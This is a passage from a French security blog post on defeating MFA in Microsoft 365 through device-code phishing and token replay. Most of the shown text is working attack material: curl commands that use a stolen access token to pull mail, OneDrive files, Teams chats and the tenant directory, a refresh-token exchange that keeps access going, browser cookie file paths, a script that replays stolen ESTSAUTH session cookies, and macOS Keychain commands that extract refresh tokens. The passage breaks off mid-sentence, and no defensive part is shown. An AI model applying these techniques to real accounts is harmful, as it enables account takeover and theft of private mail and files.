<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"token_type"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Bearer"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"scope"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"openid profile email offline_access https://graph.microsoft.com/.default"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"expires_in"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">3599</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"access_token"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"eyJ0eXAiOiJKV1QiLCJub25jZSI6...."</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"refresh_token"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"0.AUkA2...[jeton 90 jours]"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"id_token"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"eyJ0eXAiOiJKV1Qi..."</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<p>L'attaquant dispose désormais de :</p>
<ul>
<li class="">Un <strong>jeton d'accès</strong> valide ~60 minutes, délimité à Microsoft Graph  accès immédiat à l'API Graph</li>
<li class="">Un <strong>jeton d'actualisation</strong> valide 90 jours (ou jusqu'à révocation explicite)  accès persistant</li>
</ul>
<p>Le MFA a été satisfait. Par la victime. Pour la session de l'attaquant. C'est conçu pour fonctionner ainsi.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-ce-que-lattaquant-peut-faire-avec-les-jetons">1.3 Ce Que l'Attaquant Peut Faire Avec les Jetons<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#13-ce-que-lattaquant-peut-faire-avec-les-jetons" class="hash-link" aria-label="Direct link to 1.3 Ce Que l'Attaquant Peut Faire Avec les Jetons" title="Direct link to 1.3 Ce Que l'Attaquant Peut Faire Avec les Jetons" translate="no">​</a></h3>
<p>Avec le jeton d'accès à l'API Graph, l'attaquant commence immédiatement la reconnaissance :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Énumérer tout le contenu de la boîte mail</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-H</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization: Bearer &lt;access_token&gt;"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/messages?</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">$top</span><span class="token string" style="color:hsl(139, 66%, 32%)">=100&amp;</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">$select</span><span class="token string" style="color:hsl(139, 66%, 32%)">=subject,from,receivedDateTime"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Télécharger tous les fichiers depuis OneDrive</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-H</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization: Bearer &lt;access_token&gt;"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/drive/root/children"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Énumérer les messages Teams</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-H</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization: Bearer &lt;access_token&gt;"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/chats/getAllMessages"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Lister tous les utilisateurs du tenant</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-H</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization: Bearer &lt;access_token&gt;"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/users?</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">$top</span><span class="token string" style="color:hsl(139, 66%, 32%)">=999&amp;</span><span class="token string variable" style="color:hsl(26, 100%, 29%)">$select</span><span class="token string" style="color:hsl(139, 66%, 32%)">=displayName,mail,userPrincipalName,jobTitle"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Obtenir tous les groupes et memberships (identifier les groupes privilégiés)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-H</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization: Bearer &lt;access_token&gt;"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/memberOf"</span><br></span></code></pre></div></div>
<p>Dans les 15 premières minutes de la durée de vie du jeton d'accès, un acteur malveillant peut extraire tout le contenu de la boîte mail d'un cadre dirigeant, identifier tous les groupes privilégiés et leurs membres, exfiltrer tous les fichiers OneDrive et SharePoint accessibles à cet utilisateur, et lire tout l'historique des conversations Teams  y compris les canaux avec des discussions stratégiques sensibles.</p>
<p>Le jeton d'actualisation étend cela pendant 90 jours :</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Échange de jeton d'actualisation  obtenir un nouveau jeton d'accès à l'expiration</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">r </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://login.microsoftonline.com/common/oauth2/v2.0/token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    data</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"grant_type"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"refresh_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_id"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"d3590ed6-52b3-4102-aeff-aad2292ab01c"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"refresh_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"&lt;jeton-90-jours&gt;"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"scope"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/.default offline_access"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Retourne un nouveau access_token + nouveau refresh_token (fenêtre glissante)</span><br></span></code></pre></div></div>
<p>Le jeton d'actualisation glisse  chaque utilisation prolonge la fenêtre. Tant que l'attaquant l'utilise au moins tous les 90 jours, l'accès est persistant jusqu'à ce qu'un administrateur révoque explicitement tous les jetons d'actualisation de l'utilisateur.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="14-génération-dynamique-de-code--contournement-de-lexpiration-de-15-minutes">1.4 Génération Dynamique de Code : Contournement de l'Expiration de 15 Minutes<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#14-g%C3%A9n%C3%A9ration-dynamique-de-code--contournement-de-lexpiration-de-15-minutes" class="hash-link" aria-label="Direct link to 1.4 Génération Dynamique de Code : Contournement de l'Expiration de 15 Minutes" title="Direct link to 1.4 Génération Dynamique de Code : Contournement de l'Expiration de 15 Minutes" translate="no">​</a></h3>
<p>Les premières campagnes de hameçonnage par code d'appareil avaient une faiblesse critique : le code expirait 15 minutes après la génération. Les attaquants qui pré-généraient des codes et les intégraient dans des e-mails de phishing en masse perdaient la course si la victime ouvrait l'e-mail plus de 15 minutes après l'envoi.</p>
<p>Le toolkit <strong>SquarePhish2</strong> et la <strong>plateforme PhaaS EvilTokens</strong> (documentée début 2026) résolvent ce problème avec la génération dynamique :</p>
<!-- -->
<p>La victime dispose d'une fenêtre de 15 minutes à partir du moment où elle clique  ce qui est largement suffisant pour compléter l'authentification. Le problème de timing de l'attaquant est complètement éliminé.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-2--rejeu-de-jetons--voler-ce-qui-a-déjà-été-émis-légitimement">Partie 2  Rejeu de Jetons : Voler Ce Qui a Déjà Été Émis Légitimement<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-2--rejeu-de-jetons--voler-ce-qui-a-d%C3%A9j%C3%A0-%C3%A9t%C3%A9-%C3%A9mis-l%C3%A9gitimement" class="hash-link" aria-label="Direct link to Partie 2  Rejeu de Jetons : Voler Ce Qui a Déjà Été Émis Légitimement" title="Direct link to Partie 2  Rejeu de Jetons : Voler Ce Qui a Déjà Été Émis Légitimement" translate="no">​</a></h2>
<p>Le hameçonnage par code d'appareil manipule le processus d'émission. Le rejeu de jetons le contourne entièrement  l'attaquant vole un jeton qui a été émis légitimement lors d'une vraie session utilisateur.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-où-vivent-les-jetons-et-comment-ils-sont-volés">2.1 Où Vivent les Jetons et Comment Ils Sont Volés<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#21-o%C3%B9-vivent-les-jetons-et-comment-ils-sont-vol%C3%A9s" class="hash-link" aria-label="Direct link to 2.1 Où Vivent les Jetons et Comment Ils Sont Volés" title="Direct link to 2.1 Où Vivent les Jetons et Comment Ils Sont Volés" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="cookies-de-session-du-navigateur-pass-the-cookie">Cookies de Session du Navigateur (Pass-the-Cookie)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#cookies-de-session-du-navigateur-pass-the-cookie" class="hash-link" aria-label="Direct link to Cookies de Session du Navigateur (Pass-the-Cookie)" title="Direct link to Cookies de Session du Navigateur (Pass-the-Cookie)" translate="no">​</a></h4>
<p>Lorsqu'un utilisateur s'authentifie à Microsoft 365, Entra ID émet des cookies de session. Les plus précieux : <strong>ESTSAUTH</strong> et <strong>ESTSAUTHPERSISTENT</strong>  les cookies de session représentant une authentification MFA complétée.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Chrome/Edge stockent les cookies dans une base de données SQLite</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Chemin Windows :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">%LOCALAPPDATA%</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Google</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Chrome</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">User Data</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Default</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Network</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Cookies</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">%LOCALAPPDATA%</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Microsoft</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Edge</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">User Data</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Default</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Network</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">Cookies</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Chemin macOS :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">~/Library/Application Support/Google/Chrome/Default/Cookies</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">~/Library/Application Support/Microsoft Edge/Default/Cookies</span><br></span></code></pre></div></div>
<p>Le cookie ESTSAUTH, une fois extrait, peut être rejoué dans un navigateur sur n'importe quelle machine :</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Utilisation de requests pour rejouer le cookie de session volé</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> requests</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">session </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">Session</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">session</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">cookies</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">set</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ESTSAUTH'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'&lt;valeur_cookie_volée&gt;'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    domain</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'login.microsoftonline.com'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">session</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">cookies</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">set</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ESTSAUTHPERSISTENT'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'&lt;cookie_persistant_volé&gt;'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    domain</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'login.microsoftonline.com'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Accéder à Microsoft 365 avec la session authentifiée de la victime</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">r </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> session</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://outlook.office.com/mail/"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Retourne la boîte mail de la victime  aucune invite de credential, aucune invite MFA</span><br></span></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="extraction-de-jetons-depuis-le-keychain-macos-documentée-en-2025">Extraction de Jetons depuis le Keychain macOS (Documentée en 2025)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#extraction-de-jetons-depuis-le-keychain-macos-document%C3%A9e-en-2025" class="hash-link" aria-label="Direct link to Extraction de Jetons depuis le Keychain macOS (Documentée en 2025)" title="Direct link to Extraction de Jetons depuis le Keychain macOS (Documentée en 2025)" translate="no">​</a></h4>
<p>Microsoft Edge sur macOS met en cache les jetons OAuth  y compris les jetons d'actualisation et dans certains cas les Primary Refresh Tokens  dans le Keychain macOS. Cela a été documenté par des chercheurs en sécurité fin 2025 :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Lister toutes les entrées Keychain liées à Microsoft</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">security find-internet-password </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-l</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Microsoft Edge"</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-g</span><span class="token plain"> </span><span class="token operator file-descriptor important" style="color:hsl(356, 75%, 47%);font-weight:bold">2</span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token file-descriptor important" style="font-weight:bold;color:hsl(356, 75%, 47%)">&amp;1</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-i</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"microsoft\|azure\|msal"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Entrées spécifiques à rechercher :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># "refreshtoken-1--&lt;guid&gt;"          Jeton d'actualisation OAuth</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># "primaryrefreshtoken-1--&lt;guid&gt;"   Primary Refresh Token (le plus précieux)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># "accesstoken-1--&lt;guid&gt;"           Jeton d'accès à courte durée de vie</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exporter une entrée spécifique :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">security find-generic-password </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-a</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"refreshtoken"</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-s</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Microsoft Edge"</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-w</span><br></span></code></pre></div></div>
<p>Avec le jeton d'actualisation extrait, l'attaquant le rejoue en utilisant TokenTactics ou un script personnalisé :</p>
